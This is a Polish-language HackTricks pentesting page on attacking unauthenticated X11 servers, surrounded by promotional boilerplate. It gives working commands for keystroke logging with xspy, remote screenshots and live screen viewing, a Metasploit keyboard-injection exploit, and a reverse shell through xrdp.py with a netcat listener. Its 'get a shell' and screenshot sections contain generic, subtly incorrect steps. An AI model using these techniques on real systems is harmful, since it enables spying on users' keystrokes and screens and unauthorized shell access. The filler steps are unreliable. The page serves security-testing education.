12 KiB
6000 - Testowanie penetracyjne X11
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.
Dołącz do serwera HackenProof Discord, aby komunikować się z doświadczonymi hakerami i łowcami nagród za błędy!
Spostrzeżenia dotyczące hakerstwa
Zajmuj się treściami, które zagłębiają się w emocje i wyzwania hakerstwa
Aktualności na żywo o hakerstwie
Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnym wiadomościom i spostrzeżeniom
Najnowsze ogłoszenia
Bądź na bieżąco z najnowszymi programami bug bounty i ważnymi aktualizacjami platformy
Dołącz do nas na Discordzie i zacznij współpracować z najlepszymi hakerami już dziś!
Podstawowe informacje
System okien X (X) to wszechstronny system okienkowy powszechnie stosowany w systemach operacyjnych opartych na UNIX. Zapewnia on framework do tworzenia graficznych interfejsów użytkownika (GUI), gdzie poszczególne programy zajmują się projektowaniem interfejsu użytkownika. Ta elastyczność pozwala na różnorodne i dostosowywalne doświadczenia w środowisku X.
Domyślny port: 6000
PORT STATE SERVICE
6000/tcp open X11
Wyliczanie
Sprawdź anonimowe połączenie:
nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11
Lokalne wyliczenie
Plik .Xauthority
w folderze domowym użytkownika jest używany przez X11 do autoryzacji. Z tutaj:
$ xxd ~/.Xauthority
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d ............0..M
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d IT-MAGIC-COOKIE-
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58 1...R.~..A.....X
00000030: 041d ef ...
MIT-magic-cookie-1: Generowanie 128-bitowego klucza ("cookie"), przechowywanie go w ~/.Xauthority (lub tam, gdzie wskazuje zmienna środowiskowa XAUTHORITY). Klient wysyła go do serwera w postaci zwykłego tekstu! Serwer sprawdza, czy ma kopię tego "cookie" i jeśli tak, połączenie jest zezwolone. Klucz jest generowany przez DMX.
{% hint style="warning" %}
Aby używać cookie, należy ustawić zmienną środowiskową: export XAUTHORITY=/ścieżka/do/.Xauthority
{% endhint %}
Sesja lokalnego wyliczania
$ w
23:50:48 up 1 day, 10:32, 1 user, load average: 0.29, 6.48, 7.12
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
user tty7 :0 13Oct23 76days 13:37 2.20s xfce4-session
Weryfikacja połączenia
W przykładzie, localhost:0
uruchamiał sesję xfce4.
Sprawdzenie połączenia
xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
Keyloggin
xspy do przechwytywania naciśnięć klawiszy na klawiaturze.
Przykładowy wynik:
xspy 10.9.xx.xx
opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
Przechwytywanie zrzutów ekranu
Podczas testowania penetracyjnego X11, przechwytywanie zrzutów ekranu może być przydatne do uzyskania wglądu w aktywność użytkownika na zdalnym systemie. Istnieją różne narzędzia, które można wykorzystać do przechwytywania zrzutów ekranu w środowisku X11.
Narzędzia do przechwytywania zrzutów ekranu
-
xwd: Narzędzie wiersza poleceń, które pozwala na przechwytywanie zrzutów ekranu w formacie XWD (X Window Dump). Można je uruchomić za pomocą polecenia
xwd -root -out screenshot.xwd
, gdziescreenshot.xwd
to nazwa pliku, do którego zostanie zapisany zrzut ekranu. -
scrot: Proste narzędzie do przechwytywania zrzutów ekranu w środowisku X11. Można je zainstalować za pomocą polecenia
sudo apt-get install scrot
. Aby przechwycić zrzut ekranu, wystarczy uruchomić poleceniescrot screenshot.png
, gdziescreenshot.png
to nazwa pliku, do którego zostanie zapisany zrzut ekranu. -
import: Narzędzie z pakietu ImageMagick, które umożliwia przechwytywanie zrzutów ekranu w formacie PNG, JPEG, GIF itp. Można je uruchomić za pomocą polecenia
import screenshot.png
, gdziescreenshot.png
to nazwa pliku, do którego zostanie zapisany zrzut ekranu.
Przechwytywanie zrzutów ekranu zdalnego systemu
Aby przechwycić zrzut ekranu zdalnego systemu, należy najpierw nawiązać połączenie z tym systemem za pomocą narzędzi takich jak ssh lub VNC. Następnie można użyć powyższych narzędzi do przechwycenia zrzutu ekranu na zdalnym systemie i przesłać go na lokalny system za pomocą narzędzi do transferu plików, takich jak scp.
Przechwytywanie zrzutów ekranu może być przydatne podczas testowania penetracyjnego, aby uzyskać wgląd w aktywność użytkownika, identyfikować potencjalne luki w zabezpieczeniach i zbierać informacje potrzebne do dalszej analizy.
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png
Widok zdalnego pulpitu
Źródło: https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref
./xrdp.py <IP:0>
Sposób od: https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
Najpierw musimy znaleźć ID okna za pomocą xwininfo
xwininfo -root -display 10.9.xx.xx:0
xwininfo: Window id: 0x45 (the root window) (has no name)
Absolute upper-left X: 0
Absolute upper-left Y: 0
Relative upper-left X: 0
Relative upper-left Y: 0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners: +0+0 -0+0 -0-0 +0-0
-geometry 1024x768+0+0
XWatchwin
Aby na żywo oglądać, musimy użyć
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45
Uzyskaj dostęp do powłoki
Aby uzyskać dostęp do powłoki systemu, możesz wykorzystać kilka technik:
1. Wykorzystanie słabych uprawnień X11
Jeśli serwer X11 jest uruchomiony na docelowym systemie, możesz spróbować wykorzystać słabe uprawnienia, aby uzyskać dostęp do powłoki. Możesz to zrobić, wykonując następujące kroki:
- Sprawdź, czy serwer X11 jest uruchomiony, używając polecenia
ps aux | grep Xorg
. - Sprawdź, czy istnieje plik
.Xauthority
w katalogu domowym użytkownika, używając polecenials -la ~
. - Skopiuj plik
.Xauthority
do swojego katalogu domowego, używając poleceniacp ~/.Xauthority ~/xauthority
. - Ustaw zmienną środowiskową
XAUTHORITY
na ścieżkę do skopiowanego pliku.Xauthority
, używając poleceniaexport XAUTHORITY=~/xauthority
. - Uruchom dowolne polecenie X11, na przykład
xterm
, aby uzyskać dostęp do powłoki.
2. Wykorzystanie podatności w aplikacjach X11
Jeśli znasz konkretne podatności w aplikacjach X11, możesz je wykorzystać, aby uzyskać dostęp do powłoki. Możesz to zrobić, wykonując następujące kroki:
- Zidentyfikuj podatne aplikacje X11, które są uruchomione na docelowym systemie.
- Wykorzystaj znane podatności w tych aplikacjach, aby zdobyć dostęp do powłoki.
3. Wykorzystanie ataku Man-in-the-Middle (MitM)
Jeśli jesteś w stanie przeprowadzić atak Man-in-the-Middle (MitM) na komunikację X11, możesz przechwycić dane uwierzytelniające i uzyskać dostęp do powłoki. Możesz to zrobić, wykonując następujące kroki:
- Przechwyć komunikację X11 między klientem a serwerem.
- Zidentyfikuj dane uwierzytelniające, takie jak hasła, przesyłane w tej komunikacji.
- Użyj zdobytych danych uwierzytelniających, aby uzyskać dostęp do powłoki.
Pamiętaj, że wszelkie próby uzyskania dostępu do powłoki systemu muszą być przeprowadzane zgodnie z prawem i tylko w celach pentestingu.
msf> use exploit/unix/x11/x11_keyboard_exec
Inny sposób:
Odwrócona powłoka (Reverse Shell): Xrdp umożliwia również uzyskanie odwróconej powłoki za pomocą Netcat. Wpisz następujące polecenie:
./xrdp.py \<IP:0> –no-disp
W interfejsie możesz zobaczyć opcję R-shell.
Następnie uruchom nasłuchiwanie Netcat na swoim lokalnym systemie na porcie 5555.
nc -lvp 5555
Następnie wpisz swój adres IP i port w opcji R-Shell i kliknij R-shell, aby uzyskać powłokę
Odwołania
- https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref
- https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
- https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref
Shodan
port:6000 x11
Dołącz do serwera HackenProof Discord, aby komunikować się z doświadczonymi hakerami i łowcami błędów!
Wnioski z Hackingu
Zajmuj się treściami, które zagłębiają się w emocje i wyzwania związane z hakowaniem
Aktualności na żywo z Hackingu
Bądź na bieżąco z szybkim tempem świata hakowania dzięki aktualnym wiadomościom i spostrzeżeniom
Najnowsze ogłoszenia
Bądź na bieżąco z najnowszymi programami bug bounty i ważnymi aktualizacjami platformy
Dołącz do nas na Discordzie i zacznij współpracować z najlepszymi hakerami już dziś!
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć reklamę swojej firmy w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.